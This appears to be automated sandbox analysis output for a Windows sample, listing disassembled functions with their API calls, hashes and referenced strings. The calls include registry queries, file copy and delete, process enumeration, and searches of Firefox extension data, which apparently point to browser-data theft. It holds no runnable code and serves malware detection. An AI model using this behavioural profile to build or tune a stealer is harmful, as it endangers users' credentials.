Instruction ID: 7b98265181db112957e654b40feb51e707849e62a0e01f8308d40af4a82c50e7
Opcode Fuzzy Hash: d4f8544a164a9437c7f2146de9882181f67f3b24d4450b32dfc713e681060546
Instruction Fuzzy Hash: EB11C1B1A04605AFDB10CF84DD4AFBFBB79FB48B10F10411AF605A7280D7785805CBA5

Function 004012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
HeapAlloc.KERNEL32(00000000), ref: 004012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5
RegCloseKey.ADVAPI32(?), ref: 004012FF

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction ID: 190bc7a1a7c8d7045dc387aced5cbf31aaec2b72b8248f43f4a0638ea244b090
Opcode Fuzzy Hash: b8563e144584e458f87bf561f54c88dffa2f1145a5d88f54fd71737305c450da
Instruction Fuzzy Hash: 34013179A40208BFDB10DFE0DC49FAEB779FF48710F108158FA05A7290D6709A05CB50

Function 00410580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0255D4C0), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0255D520), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0255D4E0), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410880, 00410894, 00410643, 0041075B, 00410646, 0041075E, 00410883

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: e5e6d05936cbfe87ef19f3cb694ab05cc694b4ee81eedbad7fef124ad5156c7d
Instruction ID: dd73e37cf26ee0a5b727ab7f8fa236140303cf2c4538d3aa2ff7e25b79bad790
Opcode Fuzzy Hash: e5e6d05936cbfe87ef19f3cb694ab05cc694b4ee81eedbad7fef124ad5156c7d
Instruction Fuzzy Hash: E6917775B002089FCB28EF65D995FED7775BF94304F00812EE8099F291DB349A59CB86

Function 004105A5 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,0255D4C0), ref: 004105DA
StrCmpCA.SHLWAPI(00000000,0255D520), ref: 004106A6
StrCmpCA.SHLWAPI(00000000,0255D4E0), ref: 004107DD

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Strings

@ZA, xrefs: 00410643, 0041075B, 00410646, 0041075E

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy
String ID: @ZA
API String ID: 3722407311-3461648394
Opcode ID: c2987a7c8463179a39b9aa31202bb4872507f5a00c321b44e8cf82fdd20e60fb
Instruction ID: 4e5c4e7109811dd04489307e57989d734427ebddea2fc0f69e8a4a25ed86313c
Opcode Fuzzy Hash: c2987a7c8463179a39b9aa31202bb4872507f5a00c321b44e8cf82fdd20e60fb
Instruction Fuzzy Hash: 82819775B002089FCB28EF65D995EEDB7B5FF94304F10812DE8099F251DB34AA45CB86

Function 00409FF0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(0255D2F0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A00D
LoadLibraryA.KERNEL32(0254ACD0,?,?,?,?,?,?,?,?,?,?,?,0040FF93), ref: 0040A096

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,02555E18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

SetEnvironmentVariableA.KERNEL32(0255D2F0,00000000,00000000,?,00421290,?,0040FF93,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00420AE6), ref: 0040A082

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0040A002, 0040A016, 0040A02C

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-1193256905
Opcode ID: c92f3ef0754e8e06c571adbb1cf53134e9cee1a260c4ad050b19090381f6b1c0
Instruction ID: 756634b6078292b8205bba75648758324288abb3cd7bb3e0efd9893355994f5a
Opcode Fuzzy Hash: c92f3ef0754e8e06c571adbb1cf53134e9cee1a260c4ad050b19090381f6b1c0
Instruction Fuzzy Hash: 8D41E471804604AFC724EFB4EC56BAE3776BF48324F15512EF405A32A0D7B85986CB97

Function 0040A1B0 Relevance: 6.4, APIs: 4, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02558960,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A231
lstrlenA.KERNEL32(00000000), ref: 0040A5EA

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000,00000000), ref: 0040A32D
DeleteFileA.KERNEL32(00000000), ref: 0040A671

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID:
API String ID: 3258613111-0
Opcode ID: 54ccf06c2f84e2484ed4416688423d44f762688d14018cb429c06268bb8d3c87
Instruction ID: babd7ff3150fa9bd4e199d5026f054df416ea87c2dc191fa558e2381e0c2d671
Opcode Fuzzy Hash: 54ccf06c2f84e2484ed4416688423d44f762688d14018cb429c06268bb8d3c87
Instruction Fuzzy Hash: 17D12472811108AACB14FBA5DC96EEE7338AF14314F50815EF51772091EF786A9CCB7A

Function 0040D5C0 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,02558960,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040D641
lstrlenA.KERNEL32(00000000), ref: 0040D7DF
lstrlenA.KERNEL32(00000000), ref: 0040D7F3
DeleteFileA.KERNEL32(00000000), ref: 0040D872

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: e1e31f3c7bf6a40d42de38d9514d518e336aa20a0ca70a830722187b105dc452
Instruction ID: b9a8a4b288ee9f939e53bd87e1647cffb120ee14b7120403b064e1d16f2d4ef2
Opcode Fuzzy Hash: e1e31f3c7bf6a40d42de38d9514d518e336aa20a0ca70a830722187b105dc452
Instruction Fuzzy Hash: DC814472911108ABCB14FBB1DC96EEE7339AF54318F40452EF40772091EF786A58CB6A

Function 0040F2E0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: FindCloseChangeNotification.KERNEL32(000000FF), ref: 00409AEA

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,00421524,00420D7A), ref: 0040F38C
lstrlenA.KERNEL32(00000000), ref: 0040F3AB

Strings

^userContextId=4294967295, xrefs: 0040F3DC
moz-extension+++, xrefs: 0040F3ED

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$ChangeCloseCreateFindFreeNotificationReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 2768692033-3310892237
Opcode ID: 6d45bc6b0aabfc88bbc97032417ca2eb2653cefcc58833787b3002688a628f5b
Instruction ID: 29c62e45bd112fa8e6d3d1c16e218030d21c495d55cc38802304d1b40baba72e
Opcode Fuzzy Hash: 6d45bc6b0aabfc88bbc97032417ca2eb2653cefcc58833787b3002688a628f5b
Instruction Fuzzy Hash: D2513175D01108AACB04FBB1DC56DEE7338AF94314F40812EF81767191EE7C6A58CB6A

Function 00418120 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0041816A
Process32First.KERNEL32(?,00000128), ref: 0041817E
Process32Next.KERNEL32(?,00000128), ref: 00418193

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindCloseChangeNotification.KERNEL32(?), ref: 00418201

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Process32$ChangeCloseCreateFindFirstNextNotificationSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 3491751439-0
Opcode ID: 422835a0e47b9432128fcaa1d324b79c1426fd4dbdf7d334460413ace93119df
Instruction ID: 6084a3a81ad9197a86b05fcc5bdad381a42aa545a74b9a2169b69cd5b8afd334
Opcode Fuzzy Hash: 422835a0e47b9432128fcaa1d324b79c1426fd4dbdf7d334460413ace93119df
Instruction Fuzzy Hash: 8E319E71902218ABCB24EF95DC45FEEB778EF04710F10419EE50AA21A0DF386E85CFA5

Function 00416593 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02555E18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,02555E18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000000.00000002.2379261885.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2379261885.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2379261885.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction ID: a64f93d993f1e87f951aacd978fe42101be04856bc676c4d6d5bcee74d417e49
Opcode Fuzzy Hash: e67069b7a25109c1f103972856e5ff06790c1bc0ba95d107da3788f3134d6b09
Instruction Fuzzy Hash: F0F08230900605FFEB20ABA0EC09BFE7736AF04715F11441BB916A51D5CBF89582CA6E

